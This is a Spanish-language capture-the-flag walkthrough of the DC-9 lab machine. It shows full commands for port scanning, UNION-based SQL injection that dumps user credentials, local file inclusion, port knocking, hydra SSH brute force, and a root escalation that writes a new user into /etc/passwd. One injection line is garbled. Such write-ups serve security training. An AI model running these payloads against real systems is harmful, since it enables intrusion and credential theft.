# DC-9

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FgS7kRTg2UJ07vC8XzQqk%2FSQL%20injection%20vulnerability%20in%20WHERE%20clause%20allowing%20retrieval%20of%20hidden%20data%20(17).png?alt=media&#x26;token=ff9cf13b-4744-401f-8ead-0a7832d042b4" alt=""><figcaption></figcaption></figure>

## Enumeración

### Puertos abiertos

Comenzamos enumerando que servicios tiene abiertos la máquina DC-9.

```
nmap -p- --open --min-rate 500 -Pn -n -vvv 192.168.176.209
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FIdUrKI95QxlllJKyAh1b%2Fimage.png?alt=media&#x26;token=19782a77-e1af-428e-bd02-96d6739d0f46" alt=""><figcaption></figcaption></figure>

Un único puerto abierto, el 80. Vamos a ver que se está ejecutando en este servicio.

```
nmap -p80 -Pn -n -sVC -vvv 192.168.176.209
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FZ9EXpMtJ8iZr1ISv9wZi%2Fimage.png?alt=media&#x26;token=ae9a2553-aedb-4569-bc94-3ae9be282f7c" alt=""><figcaption></figcaption></figure>

Servicios abiertos:

* Puerto 80 -> HTTP -> Apache httpd 2.4.38

### Enumeración Web

Se está ejecutando un servidor Web en la máquina objetivo. Vamos al navegador para ver el contenido del sitio Web.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FxSbDAguOpaRLC0KZKdTQ%2Fimage.png?alt=media&#x26;token=09b8a89d-7159-4c0a-8ff2-b2b29911242e" alt=""><figcaption></figcaption></figure>

En "Display All Records" podemos ver todos los registros de información sobre usuarios potenciales.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fa4ddpcJeh06IrJH1ArIZ%2Fimage.png?alt=media&#x26;token=8de7050e-e634-4372-9397-01d73eea456d" alt=""><figcaption></figcaption></figure>

También parece que podemos buscar usuarios por su nombre.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FUFIXSYq7t7QsfyUzcElG%2Fimage.png?alt=media&#x26;token=5cee4a90-0f60-49c5-8b8f-f8fbe89e5216" alt=""><figcaption></figcaption></figure>

Otra cosa que vamos a hacer es enumerar los directorios y archivos interesantes.&#x20;

<pre><code><strong>feroxbuster -u http://192.168.176.209 -s200,301 -x html,txt,php -n
</strong></code></pre>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FkZJIXy7onYG5JU7FMiLY%2Fimage.png?alt=media&#x26;token=eb56fcf5-1010-40f0-a206-b021ad8ad9a1" alt=""><figcaption></figcaption></figure>

## Explotación

### Explotando la base de datos (sin SQLMap)

Si llevamos a cabo una inyección SQL típica, nos proporcionará todos los datos correspondientes a la opción "Visualizar todos los registros". Esta es la inyección SQL que empleé:

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FA6xp5lqp3wLECdFrVU13%2Fimage.png?alt=media&#x26;token=64ad839b-3c57-4199-9b56-b92477366e31" alt=""><figcaption></figcaption></figure>

Esta inyección nos devuelve la informaciónd de la lista de usuarios sin devolver ningún error. Podemos entender que esta entrada de datos es vulnerable a SQLi. Comenzaremos por listar el número de columnas con las que es posible trabajar. Para listar las columnas, emplearé la consulta "ORDER BY", iniciando con el número 1 e incrementándolo hasta que produzca un error o no proporcione información alguna. Pondremos a prueba esto utilizando el nombre conocido "mary", y la estructura de la consulta se presentará de la siguiente forma:

```
mary' order by 1 -- -
```

Incrementando el número en uno, observamos que al ejecutar "ORDER BY 7", deja de mostrarse información, lo que indica que el total de columnas es 6. Nuestro próximo objetivo es determinar en qué parte se muestra la información de cada columna. Por lo tanto, introduciremos algunos números para reconocer cada columna, y esto se puede llevar a cabo a través de la siguiente consulta:

`mary' union all select 1,2,3,4,5,6 -- -`

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FljP87fVwX0Ryn5gEakbr%2Fimage.png?alt=media&#x26;token=47ac59f7-65f4-47e4-b634-5e17bb92f1cb" alt=""><figcaption></figcaption></figure>

Observamos la posición de cada columna, identificada por un número. Una vez que conocemos dónde se puede visualizar la información, debemos determinar la versión de la base de datos (asumiendo que sea MySQL) y esto se puede lograr mediante la siguiente consulta:

```
mary' union all selecn,6 -- -
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FBhmy3PaTa3hSACn8dasn%2Fimage.png?alt=media&#x26;token=38827270-f3fd-457e-9306-8c4cd827acce" alt=""><figcaption></figcaption></figure>

La información que conseguimos al identificar la versión nos facilita entender de qué manera efectuaremos las consultas. El próximo paso es listar las bases de datos usando el esquema de información, esta es la pregunta que empleamos para mostrar las bases de datos:

```
mary' union all select 1,2,3,4,schema_name,6 from information_schema.schemata -- -
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F4elmzh4Cu7HfnUDQT3rE%2Fimage.png?alt=media&#x26;token=480562b5-851a-4b84-ba85-6daad355863e" alt=""><figcaption></figcaption></figure>

Basándonos en la información proporcionada, la base de datos de "usuarios" nos parece la más intrigante. Por el momento, vamos a listar las tablas para determinar cuál es interesante, y para ello, hemos empleado la consulta siguiente:

```
mary' union select all 1,2,3,4,table_name,6 from information_schema.tables -- -
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FbL78TydsdWHof7RVe1p1%2Fimage.png?alt=media&#x26;token=543f5fab-6ee3-49d0-b072-50c16c1578c1" alt=""><figcaption></figcaption></figure>

Ahora vamos a listar los nombres de los campos presentes en la tabla con el fin de identificar cuáles de ellos podrían contener información relevante. Para lograr esto, emplearemos la consulta que se muestra a continuación:

```
mary' union all select 1,2,3,4,column_name,6 FROM information_schema.columns where table_name='UserDetails' -- -
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FptQPTq8B1xneQgqytSUO%2Fimage.png?alt=media&#x26;token=a20da469-2ca7-4a02-970b-402073eac61b" alt=""><figcaption></figcaption></figure>

Existen seis campos en total, pero los que realmente nos importan son los denominados "nombre de usuario" y "contraseña". Para visualizar únicamente estos datos de "UserDetails", situaremos el nombre de usuario en la cuarta columna y las contraseñas en la quinta. La consulta que empleamos es la siguiente:

```
mary' union all select 1,2,3,concat(username),concat(password),6 FROM users.UserDetails -- -
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FeTvS5OxTLVSXHUQ1c7C8%2Fimage.png?alt=media&#x26;token=711fd453-0a8d-4c16-aa0d-8912ed0f3ef5" alt=""><figcaption></figcaption></figure>

Si observamos juntos la tabla de Usuarios, conseguiremos un nombre de usuario correspondiente al administrador y una contraseña cifrada. La consulta para alcanzar este objetivo se muestra de la siguiente manera:

```
mary' union all select 1,2,3,concat(username),concat(password),6 FROM Users -- -
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FK9KCKois41pCrHYCzOqr%2Fimage.png?alt=media&#x26;token=5fbf1821-f575-4a24-a659-0a6f3394fb9c" alt=""><figcaption></figcaption></figure>

Para conseguir la clave a partir del hash, empleamos CrackStation en vez de utilizar herramientas en el equipo, logrando así adquirir la contraseña de forma veloz.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FZDTcAM3Vl5qodMVAJ2VE%2Fimage.png?alt=media&#x26;token=4307b937-d0d2-4bce-8fac-d6ead97eabb0" alt=""><figcaption></figcaption></figure>

Obtenemos las credenciales del usuario admin: admin:transorbital1

### Acceso al sistema

Accedemos a la zona de administración con estas credenciales y vemos lo siguiente.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FZfvxRPxlSaQSj4T2fx6B%2Fimage.png?alt=media&#x26;token=e2021310-7968-42cb-9f35-ae49ece31fc0" alt=""><figcaption></figcaption></figure>

Una vez que hemos iniciado sesión, observamos en la parte de abajo un mensaje que indica "El archivo no existe", dando la impresión de que busca un archivo. Esto nos lleva a creer que la página está intentando obtener un archivo y mostrarlo. A través de prueba y error, podemos descubrir una vulnerabilidad LFI al incluir un parámetro de archivo. Simplemente incluimos ?file= en la barra de URL.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F1T2RgVnxnEpvnTsIPClj%2Fimage.png?alt=media&#x26;token=adf45435-bf9f-41da-86bc-f961f9af5173" alt=""><figcaption></figcaption></figure>

Básicamente, todos los usuarios que vimos anteriormente tienen acceso a la máquina y las contraseñas que obtuvimos podrían permitirnos ingresar a la máquina, pero del informe nmap sabemos que el puerto SSH está siendo filtrado, esto podría significar que está restringido por IP tal vez o estamos lidiando con un "port knocking". Aprovechando el LFI, intentamos leer un archivo knockd.conf si estaba disponible y pudimos obtener información de dicho archivo.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F7cJS9Fw2srsWhYkuM0eo%2Fimage.png?alt=media&#x26;token=fe7f2823-ab2c-4fa8-acbc-e0524b2c0d1c" alt=""><figcaption></figcaption></figure>

Estupendo, ahora todo lo que tenemos que hacer es eliminar la secuencia de puertos que se muestran desde el archivo utilizando nmap. La llamada de puerto con nmap usando esos números de puerto se puede lograr con el siguiente comando:

```
nmap -p 7469,8475,9842 --max-retries 0 192.168.176.209
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FLgl2eEhrkGH3XeUwoMSe%2Fimage.png?alt=media&#x26;token=1da9402a-892b-40c2-98f6-ae03ae2af093" alt=""><figcaption></figcaption></figure>

Volvemos a escanear los servicios de esta máquina.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FW96viFKMJwquVWR5tCwm%2Fimage.png?alt=media&#x26;token=81b0bb11-f385-48ca-8e8b-2691d37db529" alt=""><figcaption></figcaption></figure>

Ya está abierto el puerto 22 en la máquina DC-9.

Ahora el siguiente paso podría realizar un ataque de fuerza bruta sobre el puerto 22 (SSH) para determinar que usuario está en el sistema y su contraseña. ¿Como extraemos estos nombres de usuario? Recordamos que durante la explotación de la base de datos, utilizamos consultas de MySQL para ir extrayendo información. Pues ahora igual, debemos construir una consulta que nos devuelva únicamente nombres de usuario y contraseña de forma concatenada.

```
mary' union select group_concat(username,":",password),2,3,4,5,6 from users.UserDetails-- -)
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2F2umKVSCJq9dfEEZc7YT4%2Fimage.png?alt=media&#x26;token=cf5c72cc-21d7-4d55-a939-7e7824b4f98a" alt=""><figcaption></figcaption></figure>

Copiamos esta línea en un documento de texto, y extraemos de ella una lista de nombre de usuarios y otra de contraseñas.

```
awk -F: '{print $1}' sshUsers | sort -r | tee sshUsersUsername
awk -F: '{print $2}' sshUsers | sort -r | tee sshUsersPassword
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FthQ5mStpBOzizIWuwmRH%2Fimage.png?alt=media&#x26;token=798ab003-9c7f-4b0a-8fd1-7f38913a3010" alt=""><figcaption><p>Lista de passwords</p></figcaption></figure>

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FLJojDPKUD1iOSkMxKNvl%2Fimage.png?alt=media&#x26;token=e059482f-acde-45eb-9b4d-f0cb3864652a" alt=""><figcaption><p>Lista de nombres de usuario</p></figcaption></figure>

Ahora que tenemos las dos listas, con hydra vamos a realizar el ataque de fuerza bruta de la siguiente manera:

```
hydra -L sshUsersUsername -P sshUsersPassword 192.168.176.209 ssh
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FgJVzcMHeOAdlvsKEsWiD%2Fimage.png?alt=media&#x26;token=d07b8a35-49e1-4118-8138-686ef820fde6" alt=""><figcaption></figcaption></figure>

Había tres credenciales válidas que funcionaban con SSH, así que simplemente usamos SSH como usuario de chandlerb.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Fett29R4unf2Dcskxcwjq%2Fimage.png?alt=media&#x26;token=6d7bf9ca-357d-4ebe-aca4-7bc42752ac1d" alt=""><figcaption></figcaption></figure>

En el directorio del usuario "chandler", no encontramos información interesante así que pivotamos a otros usuarios. Para ello, volvemos a utilizar las credenciales encontradas durante la fuerza bruta.&#x20;

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FRXDqY5EuOzimkYq3Ei9Z%2Fimage.png?alt=media&#x26;token=a9572939-d797-4072-948c-a4c0e7a66f45" alt=""><figcaption></figcaption></figure>

Enumeramos dentro del directorio de este usuario.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2Ff2iZRUMZzrdQriTd2tcK%2Fimage.png?alt=media&#x26;token=81568078-c8d6-4194-bfdb-ca4108ef2f6c" alt=""><figcaption></figcaption></figure>

Encontramos nuevas contraseñas. Vamos a añadirlas al archivo de passwords que generamos anteriormente y volvemos  a ejecutar hydra.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FXzsk2AUdtET7Jm6O3FQb%2Fimage.png?alt=media&#x26;token=10090c1e-86cc-40aa-8d48-2949d25783b4" alt=""><figcaption></figcaption></figure>

Obtenemos unas credenciales nuevas para el usuario "fredf". Vamos a iniciar sesión con estas credenciales.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FIWWvzyBPt4UL18ydRGe7%2Fimage.png?alt=media&#x26;token=897e4724-aea0-4d8f-b8c2-8ef3b38c565a" alt=""><figcaption></figcaption></figure>

Enumerando en el directorio del usuario "fredf" encontramos la flag local.txt.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FDDjh9pZpznUJTnOGdyJ1%2Fimage.png?alt=media&#x26;token=b65f95a6-908e-437f-bdc0-fae655269bf7" alt=""><figcaption></figcaption></figure>

## Elevación de privilegios

Una vez que hayamos iniciado sesión como fredf, podemos verificar si tiene algún permiso de sudo usando el comando `sudo -l`.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FTa6YwYd5blwzWjqCYIMq%2Fimage.png?alt=media&#x26;token=844bc3ce-9f96-46f9-9a47-2945d9dd0f85" alt=""><figcaption></figcaption></figure>

Nos dirigimos juntos a la ubicación donde observamos que se encuentra almacenada el archivo test.py. Al examinarlo con más atención, nos damos cuenta de que se trata de un programa sencillo para añadir datos. Aceptará dos archivos como parámetros y luego agregará el contenido del primer archivo dentro del segundo archivo.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FFQR8JbRfyijK2hyWfJWN%2Fimage.png?alt=media&#x26;token=2120ca62-8525-4847-b40a-a979e688211a" alt=""><figcaption></figcaption></figure>

¿Cómo podemos utilizar este archivo?

Crearemos un nuevo usuario con acceso de root y añadiremos la entrada del usuario en el archivo /etc/passwd utilizando el script test.py. Crearemos un usuario y su hash de contraseña. Llevaremos a cabo esta tarea usando openssl. Aquí, crearemos un usuario llamado securiters con la contraseña securiters. Una vez obtenido nuestro hash, pasaremos a la máquina objetivo.

```
openssl passwd -1 -salt securiters securiters
```

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FRh7DwPnqNUf1AuMFexlU%2Fimage.png?alt=media&#x26;token=2ca04609-1dda-4829-b43a-7c8d1eaa6270" alt=""><figcaption></figcaption></figure>

Añadimos el nombre de usuario, seguido de dos puntos (:) y ":0:0::" para crear una entrada que podría funcionar como usuario "root". Luego, empleamos el comando echo para generar un archivo llamado "securiters" en el directorio /tmp. Posteriormente, utilizamos el script test.py que descubrimos antes con el archivo "securiters" e incluimos el hash del usuario que acabamos de crear dentro del archivo /etc/passwd. Después de eso, iniciamos sesión como el usuario securiters que hemos creado. Ingresamos la contraseña y obtenemos acceso de root en la máquina.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FiN8ET9txFNACJjr2VqS1%2Fimage.png?alt=media&#x26;token=31c7ce02-db30-43e4-8614-1355dc384a51" alt=""><figcaption></figcaption></figure>

Ya tenemos privilegios máximos dentro de la máquina objetivo. Ahora a por la flag proof.txt para finalizar la resolución.

<figure><img src="https://264470966-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FeX9VhvbkT8Ff8eDftQXl%2Fuploads%2FJ8zz5O53Mr8u9b7X6xBD%2Fimage.png?alt=media&#x26;token=a4c68084-24fb-44e7-adad-5630aa416456" alt=""><figcaption></figcaption></figure>

{% embed url="<https://www.youtube.com/watch?v=3Ae4IjKaHPs>" %}
